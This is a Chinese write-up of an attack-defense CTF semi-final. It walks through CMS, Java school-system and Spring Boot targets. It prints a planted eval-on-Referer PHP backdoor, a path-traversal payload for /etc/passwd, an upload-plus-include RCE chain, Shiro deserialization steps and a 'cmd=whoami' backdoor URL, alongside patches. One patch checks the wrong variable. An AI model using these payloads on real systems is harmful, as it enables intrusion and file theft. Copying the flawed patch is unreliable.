前言
2024年4月经过初赛选拔,成功进入到线下半决赛,在西安邮电大学承办,设备使用的是某盟的网络安全方针平台。
真的被虐爆了,开局统一 ssh 密码(强密码),让我们误以为是随机生成的密码,没想到全场都是这个密码,开局基本上全场都被某只队伍跑脚本修改密码了。
所以 awd 比赛上来第一件事就是修改靶机的密码。。。
靶机1: funadmin
靶机简介
该靶机是由 funadmin CMS 搭建,采用 PHP + mysql 的架构,所以说就是 PHP 的网站喽。
漏洞一 后门代码
第一步就是先备份网站源码,然后将源码脱下来 (这里推荐使用 xshell + xftp一体化工具),然后放入到 D盾 webshell 扫描工具中扫描:
发现存在已知后门,位于: app/api/controller/v1/Token.php 后门如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php namespace app\api\controller\v1;
use fun\auth\Api; use think\App; use think\facade\Request; use think\facade\Config;
class Token extends Api { protected $noAuth = ['*'];
public function __construct(App $app) { parent::__construct($app); header('Access-Control-Allow-Origin:*'); header('Access-Control-Allow-Headers:Accept,Referer,Host,Keep-Alive,User-Agent,X-Requested-With,Cache-Control,Content-Type,Cookie,token'); header('Access-Control-Allow-Credentials:true'); header('Access-Control-Allow-Methods:GET, POST, PATCH, PUT, DELETE,OPTIONS');
}
public function build(Request $request) { $class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token'); $token = $class::instance(); $token->build();
} public function refresh(Request $request) { $class = ucwords('\\fun\\auth\\'.ucfirst($this->type).'Token'); $token = $class::instance(); $token->refresh();
} public function test(){ @eval(getallheaders()['Referer']); } }
|
发现该控制器下存在 test
方法,利用 HTTP 请求头的 Referer 字段的值即可实现任意代码执行。
查看官方文档才发现是后端的API控制器,查看调用方法:
发现直接访问 api/v1.token/test
即可调用 api/controller/v1/Token.php
中的 test 方法。
最后直接执行命令读取 FLAG 即可(由于当时不太懂 thinkphp 框架,所以当时知道这个但不会利用,只是对危险函数 test()
进行了注释)。
漏洞二 文件上传漏洞
在前台发现登陆功能,可以进行注册,注册账号之后登陆到后台,测试头像的上传处:
直接上传提示 php 文件提示包含不支持的格式,使用 burp 抓包发现并没有抓到,猜测可能是前端进行校验。
这里如果上传的文件访问404的话,可以直接访问上传目录,是存在目录浏览的
漏洞三 任意文件读取
在前台页面的 app/frontend/controller/Ajax
控制器中发现了 getfile()函数,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
public function getfile($file) { $file = root_path().'public/storage/uploads/'.$file; if (!file_exists($file)) { $result = ['code' => 0, 'msg' => lang('file not exists!')]; return json($result); }
$fileName = basename($file);
header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . $fileName); header('Content-Length: ' . filesize($file));
readfile($file);
exit; } ?>
|
PAYLOAD如下:
1
| frontend/ajax/getfile?file=../../../../../.../etc/passwd
|
漏洞四 后台RCE
使用泄露的用户名和密码 admin 123456 登录到后台,发现插件安装功能,我们这里写入一个 php
文件,并压缩为 zip 压缩包进行上传。
这里提示插件不正确,我们来到具体方法中:
发现这里将插件解压到了 addons 目录,我们来到该目录,查看虽然提示插件名称不正确,但是 x1ong.php
成功被上传:
但是由于我们的网站根目录在 public
目录下,而该文件被上传到了 addons
,我们还需要通过文件包含或目录穿越漏洞进行利用。
这里在 /app/backend/controller/Ajax.php
中发现一个 lang
方法,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
public function lang() { header('Content-Type: application/javascript'); $name = $this->request->get("controllername"); $name = strtolower(parse_name($name, 1)); $app = $this->request->get("app"); return jsonp($this->loadlang($name, $app))->code(200)->options([ 'var_jsonp_handler' => 'callback', 'default_jsonp_handler' => 'jsonpReturn', 'json_encode_param' => JSON_PRETTY_PRINT | JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE, ])->allowCache(true)->expires(7200); }
|
发现里面调用了 loadlang
方法,我们来到该方法中:
进入到 /config/lang.php
,发现这里是全局变量,通过 loadlang
方法的个跟踪,发现将变量 lang
拼接到了路径当中,而 lang
的值我们可控,故而可以进行目录穿越,进行文件包含,由于这里拼接了 .php
所以我们这里只需要跟文件名就可。
由于是全局配置的 Cookie,前台和后台页面,都调用了loadlang
方法故而这里直接在首页包含即可:
修复方案
漏洞一
将 app/api/controller/v1/Token.php
中的 test
方法进行注释即可。
漏洞二
这里跟进代码发现文件上传白名单 phtml
在数据库 fun_config
中进行配置,而进行文件上传的时候,会从数据库中查询白名单的文件后缀。
由于是 phtml 文件不在图片类型 以及 不是图片后缀,故而不会走 if 里面,直接返回 true,通过 checkFile()
。
来到数据当中,进行查看:
因此这里直接使用 update 语句将 phtml 去掉即可:
1
| update fun_config set value="mp4,mp3,png,gif,jpg,jpeg,webp,rar,zip,csv,xls,xlsx" where value="mp4,mp3,png,gif,jpg,jpeg,webp,rar,zip,phtml,csv,xls,xlsx";
|
删除之后还是不行,依旧可以上传,在网站根目录下查询文件包含 phtml 的将缓存文件删除即可,再次上传:
当然这里除了可以直接修改数据库以外,我们在目录结构发现了 backend ,猜测是后台地址。
同时在首页源代码处发现了泄露的用户名: admin 密码: 123456
直接登录到后台修改也可以:
漏洞三
在修复 awd 题目时,本着尽量不删除方法的原则,我们做出如下修复方案:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
public function getfile($file) { $file = root_path().'public/storage/uploads/'.$file;
if (preg_match("/\.\.\//", $lang)) { exit("Error!"); }
if (!file_exists($file)) { $result = ['code' => 0, 'msg' => lang('file not exists!')]; return json($result); }
$fileName = basename($file);
header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . $fileName); header('Content-Length: ' . filesize($file));
readfile($file);
exit; }
|
漏洞四
对 Cookie 中的 think_lang
的值进行校验,不允许存在 ../
即可。
由于前台和后台控制器中都调用了该方法,并且该方法写在了两个不同文件,故而两个文件都要进行修改:
后台的调用的 loadlang
方法在 app/common/controller/Backend.php
中定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| protected function loadlang($name,$app) { $lang = cookie(config('lang.cookie_var')); if (preg_match("/\.\.\//", $lang)) { exit("Error!"); } if($app && $app!=='backend'){ $res = Lang::load([ $this->app->getBasePath() .'backend'. DS . 'lang' . DS . $lang . '.php', $this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . '.php', $this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php', ]); }else{ $res = Lang::load([ $this->app->getAppPath() . 'lang' . DS . $lang . '.php', $this->app->getAppPath() . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php', ]); } return $res;
}
|
前台的调用的 loadlang
方法在 app/common/controller/Frontend.php
中定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| protected function loadlang($name,$app) { $lang = cookie(config('lang.cookie_var')); if (preg_match("/\.\.\//", $lang)) { exit("Error!"); } if($app){ $res = Lang::load([ $this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php', $this->app->getBasePath() .$app. DS . 'lang' . DS . $lang . '.php' ]); }else{ $res = Lang::load([ $this->app->getAppPath() . 'lang' . DS . $lang . DS . str_replace('.', DS, $name) . '.php', $this->app->getAppPath() . 'lang' . DS . $lang . '.php' ]); } return $res; }
|
靶机2: 教务系统
靶机简介
该靶机是由 java 开发的教务系统,可能是某个毕业生的毕业设计,功能网页如下:
网站架构是由 tomcat 中间件所搭建,因此可以直接解析 jsp 文件。系统功能包含注册和登陆功能。
漏洞一 后门文件
第一步备份网站源码,进入靶机使用 ps -ef |grep tomcat
查看 tomcat 运行目录:
进入到 /opt/apache-tomcat-8.5.99/webapps/ROOT/
备份网站源码,查看源码发现 forget.jsp
文件存在后门:
修复方法则是将代码进行注释即可。
漏洞二 文件上传漏洞
实际比赛的时候,是可以通过注册用户进行登陆的,但是我这边部署时,发现提示验证码错误…,就没管了。
这里的管理员用户名是 admin,密码是 admin1,直接登录即可。
进入到后台,发现可以上传头像:
这里直接上传 jsp 发现上传成功。
来到服务器,发现上传到了 userImg 目录下,直接访问利用:
使用 idea 打开 webapps/ROOT 目录下的源码: teacher/personal.jsp
发现提交给了 upload_teacherImg
接口,接着来看: WEB-INF/classes/servlet/upload_studentImg.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
|
package servlet;
import com.jspsmart.upload.File; import com.jspsmart.upload.Request; import com.jspsmart.upload.SmartUpload; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
@WebServlet({"/upload_teacherImg"}) public class upload_teacherImg extends HttpServlet { public upload_teacherImg() { }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); }
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=utf-8"); response.setCharacterEncoding("utf-8"); request.setCharacterEncoding("utf-8"); PrintWriter out = response.getWriter(); SmartUpload smartUpload = new SmartUpload(); Request rq = smartUpload.getRequest(); ServletConfig config = this.getServletConfig(); smartUpload.initialize(config, request, response);
try { smartUpload.upload(); String id = rq.getParameter("id"); File smartFile = smartUpload.getFiles().getFile(0); smartFile.saveAs("/userImg/" + smartFile.getFileName().toString()); out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>"); } catch (Exception var9) { out.print(var9); }
} }
|
同时 upload_studentImg.clss 文件与其同理,只不过一个是学生一个是教室的上传功能。
并且经过测试发现,这里还是个未授权的文件上传接口。
漏洞三 mysql 文件读取(未验证)
当时没有注意 mysql 端口是否开放,我们可以通过查看系统的配置文件,获取系统的 mysql账号和密码:
可以尝试登陆到 mysql 使用 load_file
读取 FLAG 内容。
修复方案
漏洞一:
为了不影响业务,将存在问题的代码进行删除即可。
漏洞三:
该漏洞没有在比赛的时候进行验证,只是想法,加固方法就是为修改 mysql 的密码即可。并同时修改 java 项目 jdbc 指定的密码为新的密码即可。
靶机简介
该系统由 springboot 搭建,故而 .jsp
后缀文件无法解析,所以不考虑 jsp 后门。
漏洞一 shiro 反序列化
由于程序是一个 jar 包我们需要使用 jadx-gui
工具对 jar 包进行反编译:
当然也可以使用 idea 进行打开:
来到其配置文件 pom.xml
发现存在 shiro 依赖,并且版本为 13.0,在 Shiro 1.4.2 版本之后 Shiro 的加密模式由 AES-CBC
更换为 AES-GCM
并且在 lib 中也存在 shiro 相关 jar包。
那么我们尝试进行利用,首先进行检测,发现确实存在 shiro 框架
由于这里的版本是 13.0 故而需要勾选 AES GCM
我们继续进行暴破密钥:
这里可以看到不是默认的key,暴破有些困难,直接查看 shiro 配置文件中的 key 即可:
确保 key 正确之后,寻找利用链:
接着执行命令即可:
漏洞二 后门文件
使用 idea 打开 jar 包,查看控制器 TestController
存在后门文件,可任意命令执行。
PAYLOAD:
1
| test/backd0or?cmd=whoami
|
修复方案
漏洞一
由于将项目直接封装了 jar 文件,故而需要重新进行打包。
这里 Alphabug 给了两种方案,第一种是使用工具在内存中直接替换掉,但是可能导致业务挂掉,第二种则是重新打包部署。
首先来说第一种,直接使用 shiro 利用工具进行替换:
这边我试了这个工具,没有办法直接替换,只是单纯的 key 生成,暂时没有热补丁的方法。
这里分享一下 Alphabug 的冷补丁文章:
https://mp.weixin.qq.com/s/hKXYudjEj2Z7nIC1k6NoWQ
漏洞二
由于是 jar 包封装的,故而需要进行代码修复并重新打包进行部署,这里不再演示。